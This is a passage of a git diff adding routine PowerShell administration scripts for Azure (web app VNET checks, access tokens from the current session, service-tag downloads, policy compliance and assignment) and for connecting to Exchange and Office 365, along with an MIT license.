+[CmdletBinding()] +PARAM() +try{ + # Load Module + $Dependencies=@("Az.ResourceGraph", "Az.Accounts") + if(-not(Get-Module -Name $Dependencies)){$Dependencies| import-Module} + # Functions + function Get-AzToken{ + <# + .SYNOPSIS + Retrieve token of the current Azure Context session + .DESCRIPTION + Retrieve token of the current Azure Context session + This is using the Get-AzContext cmdlets from the module Az.Account and assume a session is already opened. + .EXAMPLE + $token=Get-AzToken + $uri = "https://management.azure.com/tenants?api-version=2019-11-01" + invoke-restmethod -method get -uri $uri -Headers @{Authorization="Bearer $token";'Content-Type'='application/json'} + This leverate the token of the current session to query the Azure Management + API and retrieves all the tenants information + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + Param() + try{ + $currentAzureContext = Get-AzContext + $azureRmProfile = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile; + $profileClient = New-Object -TypeName Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient($azureRmProfile) + $profileClient.AcquireAccessToken($currentAzureContext.Subscription.TenantId).AccessToken + }catch{ + throw $_ + } + } + # Connect to Azure + if(-not(Get-AzContext)){Connect-AzAccount} + + # Retrieve All the App Service Plan (ServerFarms) using Resource Graph + #$servicePlans=Search-AzGraph -Query "Resources | where type == 'microsoft.web/serverfarms'" -First 1000 + + # Get Current token + $token = Get-AzToken + + # Retrieve all the WebApp + Write-Verbose -Message "WebApp - Retrieving WebApps in Tenant..." + $Apps = Search-AzGraph -Query "Resources |where type == 'microsoft.web/sites' and kind contains 'app'" + + # Retrieve VNET Integration information for each + $Apps | ForEach-Object -Process { + $App = $_ + Write-Verbose -Message "WebApp - '$($App.Name)' - Retrieving VNET Integration..." + $Uri="https://management.azure.com/subscriptions/$($app.subscriptionId)/resourceGroups/$($App.ResourceGroup)/providers/Microsoft.Web/sites/$($App.name)/virtualNetworkConnections?api-version=2019-08-01" + Write-Verbose -Message "WebApp - '$($App.Name)' - Uri '$Uri'" + $Result = invoke-restmethod -method get -uri $uri -Headers @{Authorization="Bearer $token";'Content-Type'='application/json'} -verbose:$false + + if(-not$result){ + Write-Verbose -Message "WebApp - '$($App.Name)' - DOT NOT HAVE VNET INTEGRATION" + $App + } + } +}catch{ + throw $_ +} \ No newline at end of file diff --git a/AZURE-Get-AzToken/Get-AzToken.ps1 b/AZURE-Get-AzToken/Get-AzToken.ps1 new file mode 100644 index 00000000..c7116557 --- /dev/null +++ b/AZURE-Get-AzToken/Get-AzToken.ps1 @@ -0,0 +1,28 @@ +<# +.SYNOPSIS + Retrieve token of the current Azure Context session +.DESCRIPTION + Retrieve token of the current Azure Context session + This is using the Get-AzContext cmdlets from the module Az.Account and assume a session is already opened. + +.EXAMPLE + $token=Get-AzToken + $uri = "https://management.azure.com/tenants?api-version=2019-11-01" + invoke-restmethod -method get -uri $uri -Headers @{Authorization="Bearer $token";'Content-Type'='application/json'} + + This leverate the token of the current session to query the Azure Management + API and retrieves all the tenants information +.LINK + https://github.com/lazywinadmin/PowerShell + +#> +[CmdletBinding()] +Param() +try{ + $currentAzureContext = Get-AzContext + $azureRmProfile = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile; + $profileClient = New-Object -TypeName Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient($azureRmProfile) + $profileClient.AcquireAccessToken($currentAzureContext.Subscription.TenantId).AccessToken +}catch{ + throw $_ +} \ No newline at end of file diff --git a/AZURE-Get-AzureIPRangesAndServiceTags/Get-AzureIPRangesAndServiceTags.ps1 b/AZURE-Get-AzureIPRangesAndServiceTags/Get-AzureIPRangesAndServiceTags.ps1 new file mode 100644 index 00000000..356c29df --- /dev/null +++ b/AZURE-Get-AzureIPRangesAndServiceTags/Get-AzureIPRangesAndServiceTags.ps1 @@ -0,0 +1,93 @@ +function Get-AzureIPRangesAndServiceTags { +<# +.SYNOPSIS + +Retrieve the Ip address ranges and Service Tags ranges for Azure (Public, USgov, Germnay or China) +The function return a Json. This can be passed to '|Converfrom-json' if you wish +to get a PowerShell object. + +This information is pulled from Microsoft Download pages. + +'Public' = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=56519' +'USGov' = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=57063' +'China' = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=57062' +'Germany' = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=57064' + +.DESCRIPTION + +This file contains the IP address ranges for Public Azure as a whole, each +Azure region within Public, and ranges for several Azure Services (Service Tags) +such as Storage, SQL and AzureTrafficManager in Public. This file currently +includes only IPv4 address ranges but a schema extension in the near future +will enable us to support IPv6 address ranges as well. Service Tags are each +expressed as one set of cloud-wide ranges and broken out by region within that +cloud. This file is updated weekly. New ranges appearing in the file will not +be used in Azure for at least one week. Please download the new json file every +week and perform the necessary changes at your site to correctly identify +services running in Azure. These service tags can also be used to simplify +the Network Security Group rules for your Azure deployments though some +service tags might not be available in all clouds and regions. +For more information please visit http://aka.ms/servicetags + +.PARAMETER Cloud + Specify the type of cloud. + Default is 'Public' + + Accepted Values: 'Public','USGov','Germany','China' +.EXAMPLE +Get-AzureIPRangesAndServiceTags + +Retrieve the IP Ranges and Service Tags Ranges for Public Cloud +This will output the Json File + +.EXAMPLE +Get-AzureIPRangesAndServiceTags | ConvertFrom-Json + +Retrieve the IP Ranges and Service Tags Ranges for Public Cloud +The Json is converted to a PowerShell Object + +.EXAMPLE +Get-AzureIPRangesAndServiceTags -Cloud China + +Retrieve the IP Ranges and Service Tags Ranges for China +This will output the Json File + +.NOTES +Version History +1.0 | 2020/01/14 | Francois-Xavier Cat + Initial version +.LINK +https://github.com/lazywinadmin/PowerShell + +#> +[CmdletBinding()] +param( + [ValidateSet('Public','USGov','Germany','China')] + [system.string] + $Cloud = "Public" +) +try{ + switch($Cloud){ + 'USGov' {$downloadUri = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=57063'} + 'China' {$downloadUri = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=57062'} + 'Germany' {$downloadUri = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=57064'} + default {$downloadUri = 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=56519'} + } + + Write-Verbose -Message "Retrieving Download link..." + $downloadPage = Invoke-WebRequest -Uri $downloadUri + $jsonFileUri = ($downloadPage.RawContent.Split('"') -like "https://*ServiceTags*")[0] + + if($jsonFileUri){ + Write-Verbose -Message "Downloading '$jsonFileUri'..." + $TempFile = New-TemporaryFile + Invoke-WebRequest -Uri $jsonFileUri -outfile $TempFile + + Get-Content -Path $TempFile -Raw + }else{ + Write-Error -Message "Failed to find the download link in the page '$downloadUri'" + } +}catch{ + $PSCmdlet.ThrowTerminatingError($_) +} +} diff --git a/AZURE-Get-PolicyComplianceData/Get-PolicyComplianceData.ps1 b/AZURE-Get-PolicyComplianceData/Get-PolicyComplianceData.ps1 new file mode 100644 index 00000000..109198e6 --- /dev/null +++ b/AZURE-Get-PolicyComplianceData/Get-PolicyComplianceData.ps1 @@ -0,0 +1,81 @@ + +<#PSScriptInfo + +.VERSION 1.0 + +.GUID f2d5adaf-ed37-4dcc-96d5-2ac72b770cf8 + +.AUTHOR Francois-Xavier Cat + +.COMPANYNAME + +.COPYRIGHT + +.TAGS + +.LICENSEURI + +.PROJECTURI + https://github.com/lazywinadmin/PowerShell + +.ICONURI + +.EXTERNALMODULEDEPENDENCIES + +.REQUIREDSCRIPTS + +.EXTERNALSCRIPTDEPENDENCIES + +.RELEASENOTES + +.PRIVATEDATA + +#> + +<# +.SYNOPSIS + Retrieve Azure Policy Compliance Data for a specific Assignment under a specific ManagementGroupName +.DESCRIPTION + Retrieve Azure Policy Compliance Data for a specific Assignment under a specific ManagementGroupName + This will also retrieve the subscription name + + This script assume you are already connected and authenticated to Azure. + +.PARAMETER ManagementGroupName + Specify the ManagementGroupName + +.PARAMETER AssignmentID + Specify the AssignmentID + +.EXAMPLE + Get-PolicyComplianceData.ps1 -ManagementGroupName -AssignmentID + +.LINK + https://github.com/lazywinadmin/PowerShell + +#> +[CmdletBinding()] +Param( + $ManagementGroupName, + $AssignmentID +) +try{ + # Retrieve the Compliance data + $State = Get-AzPolicyState -ManagementGroupName $ManagementGroupName -Filter "(AssignmentID eq $AssignmentID)" + + $SubscriptionNames = $State | Group-Object -Property SubscriptionId | ForEach-Object -Process { + Get-AzSubscription -SubscriptionId $_.Name + } + + $State | Select-Object -Property *,@{ + Label='SubscriptionName'; + Expression=@{ + #keep current state in var + $CurrentState=$_ + # retrieve sub name + ($SubscriptionNames | Where-Object -Filter {$_.id -eq $currentState.subscriptionid}).name + } + } +}catch{ + throw $_ +} \ No newline at end of file diff --git a/AZURE-Policy-Invoke-ComplianceEvaluation/Invoke-ComplianceEvaluation.ps1 b/AZURE-Policy-Invoke-ComplianceEvaluation/Invoke-ComplianceEvaluation.ps1 new file mode 100644 index 00000000..218f2cbd --- /dev/null +++ b/AZURE-Policy-Invoke-ComplianceEvaluation/Invoke-ComplianceEvaluation.ps1 @@ -0,0 +1,54 @@ +function Invoke-ComplianceEvaluation { + <# + .SYNOPSIS + Function to trigger compliance evalution for Azure Policies on a specific Resource Group or Subscription + .description + The code assume you are already authenticated to azure + .example + # Load the function + . ./invoke-complianceevaluation + # Trigger Policy Compliance evaluation against current subscription + Invoke-ComplianceEvaluation + .example + # Load the function + . ./invoke-complianceevaluation + # Trigger Policy Compliance evaluation against specified subscription + Invoke-ComplianceEvaluation -subscriptionid + .example + # Load the function + . ./invoke-complianceevaluation + # Trigger Policy Compliance evaluation against specified resource group in the current subscription + Invoke-ComplianceEvaluation -ResourceGroupName MyRg + + .example + # Load the function + . ./invoke-complianceevaluation + # Trigger Policy Compliance evaluation against specified resource group in the specified subscription + Invoke-ComplianceEvaluation -ResourceGroupName MyRg -subscriptionid + + #> + [CmdletBinding()] + param($resourceGroupName,$subscriptionId) + + if(-not $subscriptionId){ + $subscriptionId = (Get-AzContext).subscription.id + } + $uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.PolicyInsights/policyStates/latest/triggerEvaluation?api-version=2018-07-01-preview" + + if ($resourceGroupName){ + $uri = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.PolicyInsights/policyStates/latest/triggerEvaluation?api-version=2018-07-01-preview" + } + + Write-verbose -message "uri = '$uri'" + Write-verbose -message "Retrieving Context..." + $azContext = Get-AzContext + $azProfile = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile + $profileClient = New-Object -TypeName Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient -ArgumentList ($azProfile) + $token = $profileClient.AcquireAccessToken($azContext.Tenant.Id) + $authHeader = @{ + 'Content-Type'='application/json' + 'Authorization'='Bearer ' + $token.AccessToken + } + Write-verbose -message "Invoking TriggerEvaluation..." + Invoke-RestMethod -Method Post -Uri $uri -UseBasicParsing -Headers $authHeader +} diff --git a/AZURE-Policy-Invoke-ComplianceEvaluation/readme.md b/AZURE-Policy-Invoke-ComplianceEvaluation/readme.md new file mode 100644 index 00000000..ffcd6963 --- /dev/null +++ b/AZURE-Policy-Invoke-ComplianceEvaluation/readme.md @@ -0,0 +1,19 @@ +``` +# The code assume you are already connected to azure + +# Load the function +. ./invoke-complianceevaluation.ps1 + +# Trigger Policy Compliance evaluation against current subscription +Invoke-ComplianceEvaluation + +# Trigger Policy Compliance evaluation against specified subscription +Invoke-ComplianceEvaluation -subscriptionid + +# Trigger Policy Compliance evaluation against ResourceGroup specified (in current subscription) +Invoke-ComplianceEvaluation -ResourceGroupName MyRg + +# Trigger Policy Compliance evaluation against ResourceGroup specified (in specified subscription) +Invoke-ComplianceEvaluation -ResourceGroupName MyRg -subscriptionid + +``` diff --git a/AZURE-Policy-allow_resource_type/policy-allow_resource_type.ps1 b/AZURE-Policy-allow_resource_type/policy-allow_resource_type.ps1 new file mode 100644 index 00000000..0e25aba8 --- /dev/null +++ b/AZURE-Policy-allow_resource_type/policy-allow_resource_type.ps1 @@ -0,0 +1,192 @@ +<# +.SYNOPSIS + Retrieve Resource Provider Types, create an assignment + for the policy definition 'Allowed resource types' and + pass the resourcetypes as parameter (-listOfResourceTypesAllowed) +.DESCRIPTION + Retrieve Resource Provider Types, create an assignment + for the policy definition 'Allowed resource types' and + pass the resourcetypes as parameter (-listOfResourceTypesAllowed) + + + Script built with the help from a few resources: + - https://stackoverflow.com/questions/49861955/list-of-all-azure-resource-types-in-azure + - https://docs.microsoft.com/en-us/rest/api/resources/providers/list + - https://docs.microsoft.com/en-us/rest/api/resources/providers/listattenantscope + - https://docs.microsoft.com/en-us/azure/templates/microsoft.devices/iothub-allversions + +.PARAMETER SubscriptionId + Specify the subscriptionId to use +.PARAMETER PolicyDefinitionId + Specify the PolicyDefinitionId to use +.PARAMETER PolicyAssignmentScope + Specify on which resource the Policy Assignment need to apply +.PARAMETER AllowedNamespace + Specify the + +.EXAMPLE + .\policy-allowed_resource_type.ps1 ` + -SubscriptionId '8f3a8176-f66f-420c-8fce-a797ac7cde89' ` + -PolicyDefinitionId '/subscriptions/8f3a8176-f66f-420c-8fce-a797ac7cde89/providers/Microsoft.Authorization/policyDefinitions/8c2f213e-decf-4016-a59e-5e7ce9903075' ` + -PolicyAssignmentScope '/subscriptions/8f3a8176-f66f-420c-8fce-a797ac7cde89/resourceGroups/LogicApp/' ` + -AllowedNamespace 'Microsoft.Compute','Microsoft.Storage','Microsoft.Network' + +.EXAMPLE + .\policy-allowed_resource_type.ps1 ` + -SubscriptionId '8f3a8176-f66f-420c-8fce-a797ac7cde89' ` + -PolicyDefinitionId '/subscriptions/8f3a8176-f66f-420c-8fce-a797ac7cde89/providers/Microsoft.Authorization/policyDefinitions/8c2f213e-decf-4016-a59e-5e7ce9903075' ` + -PolicyAssignmentScope '/subscriptions/8f3a8176-f66f-420c-8fce-a797ac7cde89/resourceGroups/LogicApp/' +.NOTES +Version history +1.0.0 | 2020/05/15 | Francois-Xavier Cat (github.com/lazywinadmin) + initial version + +TODO: +- Still missing a few resource types + - Microsoft.Devices + - IotHubs/certificates + - Microsoft.Network + - virtualNetworks/taggedTrafficConsumers + - Microsoft.OperationalInsight + - workspaces/views + - Microsoft.Web + - a bunch + - hostingenvironments/metricdefinitions + - hostingenvironments/metrics + + - Maybe investigate: + - https://management.azure.com/providers/Microsoft.Authorization/providerOperations?api-version=2018-01-01-preview&$expand=resourceTypes# +#> + +[CmdletBinding()] +param( + [parameter(Mandatory)] + $SubscriptionId, + [parameter(Mandatory)] + $PolicyDefinitionId, + [parameter(Mandatory)] + $PolicyAssignmentScope, + [String[]]$AllowedNamespace +) +try{ + + # Select Subscription context + Write-Verbose -Message "Context - Set Context to Subscription id '$SubscriptionId'" + Set-AzContext -Subscription $SubscriptionId + + # Resource Types from Resource Provider (on subscription level) + if($AllowedNamespace){ + $SubProviders = $AllowedNamespace | + ForEach-Object{ + Write-Verbose -Message "ResourceProvider - Namespace '$($_)' - Retrieving ..." + Get-AzResourceProvider -ProviderNamespace $_ + } + }else{ + # Retrieve Providers + Write-Verbose -Message "ResourceProvider - All namespaces - Retrieving ..." + $SubProviders = Get-AzResourceProvider -ListAvailable + } + + # Resource Types from Policy Aliases (on subscription level) + if($AllowedNamespace){ + $AllAliases = $AllowedNamespace | + ForEach-Object{ + Write-Verbose -Message "PolicyAliases - Namespace '$($_)' - Retrieving ..." + Get-AzPolicyAlias -Namespace $_ + } + + }else{ + Write-Verbose -Message "PolicyAliases - All namespaces - Retrieving ..." + $AllAliases = Get-AzPolicyAlias -ListAvailable + } + + + # Process output from ResourceProvider and PolicyAliases + Write-Verbose -Message "ResourceProvider/PolicyAliases - Processing output..." + $SubResourceTypes = $SubProviders | + Sort-Object -property ProviderNamespace | + ForEach-Object { + #Capture current namespace + $CurrentNamespace = $_.ProviderNamespace + + # Output Resource type from resource providers + $_.ResourceTypes | + ForEach-Object{"$CurrentNamespace/$($_.ResourceTypeName)"} + + # Output Resource type from policy aliases + $AllAliases| + Where-Object{$_.Namespace -eq $CurrentNamespace}| + ForEach-Object{"$($_.Namespace)/$($_.ResourceType)"} + } + + + # Retrieve ResourceTypes on Tenant level + Write-Verbose -Message "ResourceProvider (Tenant scope) - Retrieving current access token..." + $currentAzureContext = Get-AzContext + $azureRmProfile = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile; + $profileClient = New-Object Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient($azureRmProfile); + $token=$profileClient.AcquireAccessToken($currentAzureContext.Subscription.TenantId).AccessToken; + + # Build Invoke-RestMethod header + $authHeader = @{ + 'Content-type' = 'application/json' + 'Authorization'="Bearer $token" + #'ExpiresOn'=$accessToken.expires_in + } + + # Providers - Tenant level + # https://docs.microsoft.com/en-us/rest/api/resources/providers/listattenantscope + + if($AllowedNamespace){ + $TenantResourceTypes = $AllowedNamespace | + ForEach-Object { + $ResourceProvider = $_ + Write-Verbose -Message "ResourceProvider (Tenant scope) - Retrieving for Namespace '$ResourceProvider'..." + + $uri = "https://management.azure.com/providers/$($ResourceProvider)?api-version=2019-10-01" + $result = Invoke-RestMethod -Method Get -Uri $uri -Headers $authHeader + $result.resourceTypes.resourceType | + ForEach-Object {"$ResourceProvider/$($_)"} + } + }else{ + Write-Verbose -Message "ResourceProvider (Tenant scope) - Retrieving all Namespaces ..." + $uri = "https://management.azure.com/providers?`$expand=resourceTypes/aliases&api-version=2019-10-01" + $result = Invoke-RestMethod -Method Get -Uri $uri -Headers $authHeader + $TenantResourceTypes = $result.value | + ForEach-Object { + $ResourceProvider = $_.namespace + $_.resourceTypes| + ForEach-Object{"$ResourceProvider/$($_.resourceType)"} + } + } + + Write-Verbose -Message "Processing final list..." + $finalList = ($TenantResourceTypes + $SubResourceTypes)| + Select-Object -Unique + + # $finalList=$finalList | %{ + # $splitted=$_ -split '\/' + # if($splitted.count -gt 2){ + # "$($splitted[0..1] -join '/')/*" + # } + # else{$splitted -join '/'} + # }|select -Unique + + # Retrieve Policy Definition + Write-Verbose -Message "Policy - Retrieving Definition '$PolicyDefinitionId'..." + $def = Get-AzPolicyDefinition -Id $PolicyDefinitionId + + # Create Policy Assignment + Write-Verbose -Message "Policy - Creating assignment ..." + New-AzPolicyAssignment ` + -Name 'testing-allowed-resource' ` + -Scope $PolicyAssignmentScope ` + -listOfResourceTypesAllowed $finalList ` + -PolicyDefinition $def ` + -OutVariable NewAssign + + #Remove-AzPolicyAssignment -Id $NewAssign + +}catch{ + throw $_ +} \ No newline at end of file diff --git a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 new file mode 100644 index 00000000..f4082fed --- /dev/null +++ b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 @@ -0,0 +1,52 @@ +function Connect-ExchangeOnPremises { + <# + .SYNOPSIS + Function to Connect to an Exchange OnPremises environment + + .DESCRIPTION + Function to Connect to an Exchange OnPremises environment + + .PARAMETER ConnectionUri + Specifies the Connection Uri to use + Example: http://ExchServer.lazywinadmin.com/powershell + + .PARAMETER Credential + Specifies the credential to use + + .EXAMPLE + PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell + + .EXAMPLE + PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell -Credential (Get-Credential) + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM ( + [Parameter(Mandatory, HelpMessage = 'http:///powershell')] + [system.string]$ConnectionUri, + + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + try{ + + + $Splatting = @{ + ConnectionUri = $ConnectionUri + ConfigurationName = 'microsoft.exchange' + } + IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + # Load Exchange cmdlets (Implicit remoting) + Import-PSSession -Session (New-PSSession @Splatting) + }catch{ + $PSCmdlet.ThrowTerminatingError($_) + } +} \ No newline at end of file diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 new file mode 100644 index 00000000..003ad27f --- /dev/null +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -0,0 +1,62 @@ +function Connect-ExchangeOnline { + <# + .SYNOPSIS + Function to Connect to an Exchange Online + + .DESCRIPTION + Function to Connect to an Exchange Online + + .PARAMETER ConnectionUri + Specifies the Connection Uri to use + Default is https://ps.outlook.com/powershell/ + + .PARAMETER Credential + Specifies the credential to use + + .EXAMPLE + PS C:\> Connect-ExchangeOnline + + .EXAMPLE + PS C:\> Connect-ExchangeOnline -Credential (Get-Credential) + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + param + ( + [system.string]$ConnectionUri = 'https://ps.outlook.com/powershell/', + [Parameter(Mandatory)] + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential + ) + PROCESS { + TRY { + # Make sure the credential username is something like admin@domain.com + if ($Credential.username -notlike '*@*') { + Write-Error 'Must be email format' + break + } + + $Splatting = @{ + ConnectionUri = $ConnectionUri + ConfigurationName = 'microsoft.exchange' + Authentication = 'Basic' + AllowRedirection = $true + } + IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + # Load Exchange cmdlets (Implicit remoting) + Import-PSSession -Session (New-PSSession @Splatting -ErrorAction Stop) -ErrorAction Stop + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } +} \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 00000000..a0f999f7 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2015 Francois-Xavier Cat + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/O365-Connect-Office365/Connect-Office365.ps1 b/O365-Connect-Office365/Connect-Office365.ps1 index 1f1dc5d4..5f7354bf 100644 --- a/O365-Connect-Office365/Connect-Office365.ps1 +++ b/O365-Connect-Office365/Connect-Office365.ps1 @@ -1,113 +1,99 @@ -function Connect-Office365 -{ -<# +function Connect-Office365 { + <# .SYNOPSIS This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .DESCRIPTION This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .EXAMPLE Connect-Office365 - + This will prompt for your credentials and connect to the Office365 services .EXAMPLE Connect-Office365 -verbose - + This will prompt for your credentials and connect to the Office365 services. - Additionally you will see verbose messages on the screen to follow what is happening in the background + Additionally you will see verbose messages on the screen to follow what is happening in the background .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( + [CmdletBinding()] + PARAM ( + + ) + BEGIN { + TRY { + #Modules + IF (-not (Get-Module -Name MSOnline -ListAvailable)) { + Write-Verbose -Message "BEGIN - Import module Azure Active Directory" + Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline + } + + IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) { + Write-Verbose -Message "BEGIN - Import module Lync Online" + Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline + } + } + CATCH { + IF ($ErrorBeginIpmoMSOnline) { + Write-Warning -Message "BEGIN - Error while importing MSOnline module" + } + IF ($ErrorBeginIpmoLyncOnline) { + Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" + } + + $PSCmdlet.ThrowTerminatingError($_) + } + } + PROCESS { + TRY { + + # CREDENTIAL + Write-Verbose -Message "PROCESS - Ask for Office365 Credential" + $Credential = Get-Credential -ErrorAction continue -ErrorVariable ErrorCredential -Credential "$env:USERNAME@$env:USERDNSDOMAIN" + + + # AZURE ACTIVE DIRECTORY (MSOnline) + Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" + Connect-MsolService -Credential $Credential + + # EXCHANGE ONLINE (Implicit Remoting module) + Write-Verbose -Message "PROCESS - Create session to Exchange online" + $ExchangeURL = "https://ps.outlook.com/powershell/" + $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $Credential -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange + + Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" + Import-PSSession -Session $O365PS –Prefix ExchCloud - ) - BEGIN - { - TRY - { - #Modules - IF (-not (Get-Module -Name MSOnline -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Azure Active Directory" - Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline - } - - IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Lync Online" - Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline - } - } - CATCH - { - Write-Warning -Message "BEGIN - Something went wrong!" - IF ($ErrorBeginIpmoMSOnline) - { - Write-Warning -Message "BEGIN - Error while importing MSOnline module" - } - IF ($ErrorBeginIpmoLyncOnline) - { - Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" - } - - Write-Warning -Message $error[0].exception.message - } - } - PROCESS - { - TRY - { + # LYNC ONLINE (LyncOnlineConnector) + Write-Verbose -Message "PROCESS - Create session to Lync online" + $LyncSession = New-CsOnlineSession –Credential $Credential -ErrorAction Stop -ErrorVariable ErrorConnectExchange + Import-PSSession -Session $LyncSession -Prefix LyncCloud - # CREDENTIAL - Write-Verbose -Message "PROCESS - Ask for Office365 Credential" - $Credential = Get-Credential -ErrorAction continue -ErrorVariable ErrorCredential -Credential "$env:USERNAME@$env:USERDNSDOMAIN" + # SHAREPOINT ONLINE (Implicit Remoting module) + #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred + } + CATCH { + Write-Warning -Message "PROCESS - Something went wrong!" + IF ($ErrorCredential) { + Write-Warning -Message "PROCESS - Error while gathering credential" + } + IF ($ErrorConnectMSOL) { + Write-Warning -Message "PROCESS - Error while connecting to Azure AD" + } + IF ($ErrorConnectExchange) { + Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" + } + IF ($ErrorConnectLync) { + Write-Warning -Message "PROCESS - Error while connecting to Lync Online" + } - - # AZURE ACTIVE DIRECTORY (MSOnline) - Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" - Connect-MsolService -Credential $Credential - - # EXCHANGE ONLINE (Implicit Remoting module) - Write-Verbose -Message "PROCESS - Create session to Exchange online" - $ExchangeURL = "https://ps.outlook.com/powershell/" - $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $Credential -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange - - Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" - Import-PSSession -Session $O365PS –Prefix ExchCloud - - # LYNC ONLINE (LyncOnlineConnector) - Write-Verbose -Message "PROCESS - Create session to Lync online" - $LyncSession = New-CsOnlineSession –Credential $Credential -ErrorAction Stop -ErrorVariable ErrorConnectExchange - Import-PSSession -Session $LyncSession -Prefix LyncCloud - - # SHAREPOINT ONLINE (Implicit Remoting module) - #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred - } - CATCH - { - Write-Warning -Message "PROCESS - Something went wrong!" - IF ($ErrorCredential) - { - Write-Warning -Message "PROCESS - Error while gathering credential" - } - IF ($ErrorConnectMSOL) - { - Write-Warning -Message "PROCESS - Error while connecting to Azure AD" - } - IF ($ErrorConnectExchange) - { - Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" - } - IF ($ErrorConnectLync) - { - Write-Warning -Message "PROCESS - Error while connecting to Lync Online" - } - - Write-Warning -Message $error[0].exception.message - } - } + Write-Warning -Message $error[0].exception.message + } + } } diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 